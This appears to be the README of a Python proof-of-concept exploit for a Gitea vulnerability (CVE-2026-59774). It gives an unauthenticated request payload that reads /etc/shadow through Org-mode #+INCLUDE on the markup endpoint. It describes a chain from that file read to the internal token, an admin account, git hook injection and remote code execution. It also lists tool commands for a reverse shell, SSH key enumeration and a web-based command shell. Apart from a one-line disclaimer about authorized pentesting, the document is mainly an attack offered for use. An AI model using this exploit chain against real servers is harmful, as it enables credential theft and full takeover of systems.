
Python PoC exploiting Gitea CVE-2026-59774: Org-mode #+INCLUDE local file read chained through INTERNAL_TOKEN admin takeover and git hook injection to remote code execution.
Gitea's /markup endpoint renders Org-mode #+INCLUDE directives with no path restriction. Any public repo, no auth — full arbitrary file read.
POST /{repo}/markup
{"Mode":"file","FilePath":"poc.org","Text":"#+INCLUDE: \"/etc/shadow\" src 123\n","Context":"/{repo}/src/branch/main/"}
LFI → app.ini → INTERNAL_TOKEN → admin account → API token → git hook injection → RCE.
app.ini off diskINTERNAL_TOKEN — either inline or from a token file/api/internal/manager/add-user — you're admin nowpost-receive hook with your payloadpython poc.py -u URL -r owner/repo -f /etc/shadow
python poc.py -u URL -r owner/repo --enum
python poc.py -u URL -r owner/repo --enum --category ssh_keys
python poc.py -u URL -r owner/repo --rce --lhost IP --lport PORT
python poc.py -u URL -r owner/repo --web-rce
--web-rce — same chain, but no listener needed. You type a command, it gets pushed as a commit, hook runs it on the box, output drops to /tmp, tool reads it back through LFI. Full shell.
Authorized pentesting .You break something ? that's on you.